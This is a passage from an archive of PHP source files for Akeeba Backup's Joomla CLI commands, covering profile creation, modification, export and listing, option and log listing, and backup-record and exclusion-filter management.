		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, 'Change the short description to this value.');
		$this->addOption('comment', null, InputOption::VALUE_OPTIONAL, 'Change the backup comment to this value (accepts HTML).');
		$this->setDescription('Modifies a backup record known to Akeeba Backup');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileCreate.php000060400000007327152455305260014254 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Platform;
use Exception;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:create
 *
 * Creates a new Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileCreate extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:create';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$format = (string) $this->cliInput->getOption('format') ?? 'text';
		$format = in_array($format, ['text', 'json']) ? $format : 'text';

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		// Set up the new profile data
		$profileData = [
			'description'   => 'New backup profile',
			'quickicon'     => '1',
			'configuration' => '',
			'filters'       => '',
		];

		$description = (string) $this->cliInput->getArgument('description') ?? 0;

		if (!is_null($description))
		{
			$profileData['description'] = trim($description);
		}

		$profileData['quickicon'] = ((bool) $this->cliInput->getArgument('quickicon') ?? true) ? 1 : 0;

		try
		{
			$newProfile = $model->create($profileData);
		}
		catch (Exception $e)
		{
			$this->ioStyle->error(sprintf("Cannot create profile: %s", $e->getMessage()));

			return 2;
		}

		/**
		 * Create a new profile configuration.
		 *
		 * Loading the new profile's empty configuration causes the Platform code to revert to the default options and
		 * save them automatically to the database.
		 */
		$profileId = $newProfile->getId();
		Platform::getInstance()->load_configuration($profileId);

		if ($format == 'json')
		{
			echo json_encode($newProfile->getId());

			return 0;
		}

		$this->ioStyle->success(sprintf("Created new profile with ID %s.", $newProfile->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will create a new Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, 'Description for the new backup profile. Default: "New backup profile".', 'New backup profile');
		$this->addOption('quickicon', null, InputOption::VALUE_OPTIONAL, 'Should the new backup profile have a one-click backup icon? Default: 1', 1);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'The format for the response. Use JSON to get a JSON-parseable numeric ID of the new backup profile. Values: text, json', 'text');

		$this->setDescription('Creates a new Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/OptionsList.php000060400000012350152455305260014007 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\JsonGuiDataParser;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:option:list
 *
 * Lists the configuration options for an Akeeba Backup profile, including their titles
 *
 * @since   7.5.0
 */
class OptionsList extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, JsonGuiDataParser;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:option:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$container = Container::getInstance('com_akeeba');
		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$format = (string) $this->cliInput->getOption('format') ?? 'table';

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$model->findOrFail($profileId);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Could not find profile #%s.", $profileId));

			return 1;
		}

		unset($model);

		// Get the profile's configuration
		Platform::getInstance()->load_configuration($profileId);
		$config  = Factory::getConfiguration();
		$rawJson = $config->exportAsJSON();

		unset($config);

		// Get the key information from the GUI data
		$info = $this->parseJsonGuiData();

		// Convert the INI data we got into an array we can print
		$rawValues = json_decode($rawJson, true);

		unset($rawJson);

		$output = [];

		$rawValues = $this->flattenOptions($rawValues);

		foreach ($rawValues as $key => $v)
		{
			$output[$key] = array_merge([
				'key'          => $key,
				'value'        => $v,
				'title'        => '',
				'description'  => '',
				'type'         => '',
				'default'      => '',
				'section'      => '',
				'options'      => [],
				'optionTitles' => [],
				'limits'       => [],
			], $this->getOptionInfo($key, $info));
		}

		// Filter the returned options
		$filter = (string) $this->cliInput->getOption('filter') ?? '';

		$output = array_filter($output, function ($item) use ($filter) {
			if (!empty($filter) && strpos($item['key'], $filter) === false)
			{
				return false;
			}

			return $item['type'] != 'hidden';
		});

		// Sort the results
		$sort  = (string) $this->cliInput->getOption('sort-by') ?? 'none';
		$order = (string) $this->cliInput->getOption('sort-order') ?? 'asc';

		if ($sort != 'none')
		{
			usort($output, function ($a, $b) use ($sort, $order) {
				if ($a[$sort] == $b[$sort])
				{
					return 0;
				}

				$signChange = ($order == 'asc') ? 1 : -1;
				$isGreater  = $a[$sort] > $b[$sort] ? 1 : -1;

				return $signChange * $isGreater;
			});
		}

		// Output the list
		if (empty($output))
		{
			$this->ioStyle->error("No options found matching your criteria.");

			return 2;
		}

		if ($format === 'table')
		{
			$output = array_map(function (array $optionDef) {
				return array_map(function ($value) {
					return is_array($value) ? implode(', ', $value) : $value;
				}, $optionDef);
			}, $output);
		}

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list the configuration options for an Akeeba Backup profile, including their titles.
		\nUsage: <info>php %command.full_name%</info>";


		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'The backup profile to use. Default: 1.', 1);
		$this->addOption('filter', null, InputOption::VALUE_OPTIONAL, 'Only return records whose keys begin with the given filter.', '');
		$this->addOption('sort-by', null, InputOption::VALUE_OPTIONAL, 'Sort the output by the given column: none, key, value, type, default, title, description, section', 'none');
		$this->addOption('sort-order', null, InputOption::VALUE_OPTIONAL, 'Sort order: asc, desc.', 'desc');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');

		$this->setDescription('Lists the configuration options for an Akeeba Backup profile, including their titles');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/BackupList.php000060400000012426152455305260013565 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Statistics;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:list
 *
 * Lists backup records known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupList extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$from    = (int) ($this->cliInput->getOption('from') ?? 0);
		$limit   = (int) ($this->cliInput->getOption('limit') ?? 0);
		$format  = (string) ($this->cliInput->getOption('format') ?? 'table');
		$filters = $this->getFilters();
		$order   = $this->getOrdering();

		if ($format === 'table')
		{
			$this->ioStyle->title('List of Akeeba Backup records matching your criteria');
		}

		$container = Container::getInstance('com_akeeba', [], 'admin');

		/** @var Statistics $model */
		$model = $container->factory->model('Statistics')->tmpInstance();

		$model->setState('limitstart', $from);
		$model->setState('limit', $limit);

		$output = $model->getStatisticsListWithMeta(false, $filters, $order);

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list backup records known to Akeeba Backup
		\nUsage: <info>php %command.full_name%</info>";

		$this->addOption('from', null, InputOption::VALUE_OPTIONAL, 'How many backup records to skip before starting the output.', 0);
		$this->addOption('limit', null, InputOption::VALUE_OPTIONAL, 'Maximum number of backup records to display.', 50);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, 'Listed backup records must match this (partial) description.');
		$this->addOption('after', null, InputOption::VALUE_OPTIONAL, 'List backup records taken after this date.');
		$this->addOption('before', null, InputOption::VALUE_OPTIONAL, 'List backup records taken before this date.');
		$this->addOption('origin', null, InputOption::VALUE_OPTIONAL, 'List backups from this origin only: backend, frontend, json, cli.');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'List backups taken with this profile. Give the numeric profile ID.');
		$this->addOption('sort-by', null, InputOption::VALUE_OPTIONAL, 'Sort the output by the given column: id, description, profile_id, backupstart', 'id');
		$this->addOption('sort-order', null, InputOption::VALUE_OPTIONAL, 'Sort order: asc, desc.', 'desc');
		$this->setDescription('Lists backup records known to Akeeba Backup');
		$this->setHelp($help);
	}

	private function getFilters(): ?array
	{
		$filters = [];

		$description = $this->cliInput->getOption('description') ?? '';

		if ($description)
		{
			$filters[] = [
				'field'   => 'description',
				'operand' => 'LIKE',
				'value'   => $description,
			];
		}

		$after  = $this->cliInput->getOption('after') ?? '';
		$before = $this->cliInput->getOption('before') ?? '';

		if (!empty($after) && !empty($before))
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => 'BETWEEN',
				'value'   => $after,
				'value2'  => $before,
			];
		}
		elseif (!empty($after))
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '>=',
				'value'   => $after,
			];
		}
		elseif (!empty($before))
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '<=',
				'value'   => $before,
			];
		}

		$origin = $this->cliInput->getOption('origin') ?? '';

		if (!empty($origin))
		{
			$filters[] = [
				'field'   => 'origin',
				'operand' => '=',
				'value'   => $origin,
			];
		}

		$profile = (int) ($this->cliInput->getOption('profile') ?? 0);

		if ($profile > 0)
		{
			$filters[] = [
				'field'   => 'profile_id',
				'operand' => '=',
				'value'   => $profile,
			];
		}

		return !empty($filters) ? $filters : null;
	}

	private function getOrdering(): array
	{
		$order = strtolower($this->cliInput->getOption('sort-order') ?? 'desc');
		$order = in_array($order, ['asc', 'desc']) ?: 'desc';

		return [
			'by'    => $this->cliInput->getOption('sort-by') ?? 'id',
			'order' => $order,
		];
	}
}
com_akeeba/CliCommands/FilterExclude.php000060400000010135152455305260014256 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\FilterRoots;
use Akeeba\Backup\Admin\CliCommands\MixIt\IsPro;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:exclude
 *
 * Set an exclusion filter to Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterExclude extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, IsPro, FilterRoots;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:exclude';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$filterType = (string) ($this->cliInput->getOption('filterType') ?? 'files');
		$target     = (in_array($filterType, [
			'tables', 'tabledata', 'regextables', 'regextabledata', 'multidb',
		])) ? 'db' : 'fs';
		$root       = (string) ($this->cliInput->getOption('root') ?? (($target == 'fs') ? '[SITEROOT]' : '[SITEDB]'));

		if (!in_array($root, $this->getRoots($target)))
		{
			$this->ioStyle->error(sprintf("Unknown %s root '%s'.", $target, $root));

			return 1;
		}

		$filter = (string) $this->cliInput->getArgument('filter') ?? '';

		$this->ioStyle->title(sprintf(
			'Adding %s filter “%s” of type %s to profile #%d',
			$target === 'db' ? 'database' : 'filesystem',
			$filter,
			$filterType,
			$profileId
		));

		// Delete the filter
		$filterObject = Factory::getFilterObject($filterType);

		if ((stripos($filterType, 'regex') !== false) && !$this->isPro())
		{
			$this->ioStyle->error(sprintf("Filters of the '%s' type are only available with Akeeba Backup Professional.", $filterType));

			return 1;
		}

		$success = $filterObject->set($root, $filter);

		if (!$success)
		{
			$this->ioStyle->error(sprintf("Could not add filter '%s' of type '%s'.", $filter, $filterType));

			return 2;
		}

		Factory::getFilters()->save();

		$this->ioStyle->success(sprintf("Added filter '%s' of type '%s'.", $filter, $filterType));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will set a file, folder or table exclusion filter to Akeeba Backup.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('filter', InputArgument::REQUIRED, 'The filter target to add. This is the full path to a file/directory, a table name or a regular expression, depending on the filter type.');
		$this->addOption('root', null, InputOption::VALUE_OPTIONAL, 'Which filter root to use. Defaults to [SITEROOT] or [SITEDB] depending on the filter type.', '');
		$this->addOption('filterType', null, InputOption::VALUE_REQUIRED, 'The type of filter you want to add: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata', 'files');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'The backup profile to use. Default: 1.', 1);

		$this->setDescription('Set an exclusion filter to Akeeba Backup.');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileModify.php000060400000006325152455305260014275 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Exception;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:modify
 *
 * Modifies an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileModify extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:modify';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id = (int) $this->cliInput->getArgument('id') ?? 0;

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$profile = $model->findOrFail($id);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Cannot modify profile %s; profile not found.", $id));

			return 1;
		}

		$description = (string) $this->cliInput->getArgument('description') ?? 0;

		if (!is_null($description))
		{
			$profile->description = $description;
		}

		$profile->quickicon = (bool) $this->cliInput->getArgument('quickicon') ?? $profile->quickicon;

		try
		{
			$newProfile = $profile->save();
		}
		catch (Exception $e)
		{
			$this->ioStyle->error(sprintf("Cannot modify profile #%s: %s", $id, $e->getMessage()));

			return 2;
		}

		$this->ioStyle->success(sprintf("Profile #%s modified successfully.", $newProfile->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will modify an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputOption::VALUE_REQUIRED, 'The numeric ID of the profile to modify');
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, 'Description for the new backup profile. Uses the old profile\'s description if not specified.', null);
		$this->addOption('quickicon', null, InputOption::VALUE_OPTIONAL, 'Should the new backup profile have a one-click backup icon? Copies the old profile\'s setting if not specified.', null);

		$this->setDescription('Modifies an Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileExport.php000060400000006004152455305260014321 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Factory;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:export
 *
 * Exports an Akeeba Backup profile as a JSON string.
 *
 * @since   7.5.0
 */
class ProfileExport extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:export';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id      = (int) $this->cliInput->getArgument('id') ?? 0;
		$filters = (bool) $this->cliInput->getOption('filters') ?? false;

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$profile = $model->findOrFail($id);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Cannot export profile %s; profile not found.", $id));

			return 1;
		}

		$data = $profile->toArray();

		if (!$filters)
		{
			unset($data['filters']);
		}

		unset($data['id']);

		// Decrypt configuration data if necessary
		if (substr($data['configuration'], 0, 12) == '###AES128###')
		{
			// Load the server key file if necessary
			$key = Factory::getSecureSettings()->getKey();

			$data['configuration'] = Factory::getSecureSettings()->decryptSettings($data['configuration'], $key);
		}

		echo json_encode($data);

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will exports an Akeeba Backup profile as a JSON string.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputOption::VALUE_REQUIRED, 'The numeric ID of the profile to modify');
		$this->addOption('filters', null, InputOption::VALUE_NONE, 'Include the filter settings?', false);

		$this->setDescription('Exports an Akeeba Backup profile as a JSON string');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/LogList.php000060400000007204152455305260013077 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Log;
use Akeeba\Engine\Factory;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:log:list
 *
 * Lists log files known to Akeeba Backup
 *
 * @since   7.5.0
 */
class LogList extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:log:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$profile_id = max(1, (int) $this->cliInput->getArgument('profile_id') ?? 1);
		$format     = (string) ($this->cliInput->getOption('format') ?? 'table');

		define('AKEEBA_PROFILE', $profile_id);

		$configuration   = Factory::getConfiguration();
		$outputDirectory = $configuration->get('akeeba.basic.output_directory');

		if ($format === 'table')
		{
			$this->ioStyle->title(sprintf('List of Akeeba Backup log files for output directory %s', $outputDirectory));
		}

		$container = Container::getInstance('com_akeeba', [], 'admin');

		/** @var Log $model */
		$model = $container->factory->model('Log')->tmpInstance();

		$output = array_map(function ($tag) use ($outputDirectory) {
			$possibilities = [
				$outputDirectory . '/akeeba.' . $tag . '.log',
				$outputDirectory . '/akeeba.' . $tag . '.log.php',
				$outputDirectory . '/akeeba' . $tag . '.log',
				$outputDirectory . '/akeeba' . $tag . '.log.php',
			];

			$path = null;

			foreach ($possibilities as $possiblePath)
			{
				if (@is_file($possiblePath))
				{
					$path = $possiblePath;

					break;
				}
			}

			if (empty($path))
			{
				return null;
			}

			return [
				'tag'           => $tag,
				'absolute_path' => $path,
			];

		}, $model->getLogFiles());

		$output = array_filter($output, function ($x) {
			return !is_null($x);
		});

		return $this->printFormattedAndReturn(array_values($output), $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list all log files in the output directory of the Akeeba Backup profile specified. Note: log files from other backup profiles or Akeeba Backup installations sharing the same output directory will also be listed.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('profile_id', InputArgument::OPTIONAL, 'Log files in the output directory of this Akeeba Backup profile will be listed', 1);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');
		$this->setDescription('Lists log files known to Akeeba Backup');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileList.php000060400000004665152455305260013766 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:list
 *
 * Lists the Akeeba Backup backup profiles
 *
 * @since   7.5.0
 */
class ProfileList extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$format    = (string) $this->cliInput->getOption('format') ?? 'table';
		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model    = $container->factory->model('Profiles')->tmpInstance();
		$profiles = $model->get(true);

		$output = array_map(function (array $profile) {
			return [
				'id'          => $profile['id'],
				'description' => $profile['description'],
				'quickicon'   => $profile['quickicon'],
			];
		}, $profiles->toArray());

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list the Akeeba Backup backup profiles.
		\nUsage: <info>php %command.full_name%</info>";


		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');

		$this->setDescription('Lists the Akeeba Backup backup profiles');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/OptionsGet.php000060400000007665152455305260013630 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\JsonGuiDataParser;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:option:get
 *
 * Gets the value of a configuration option for an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class OptionsGet extends AbstractCommand
{
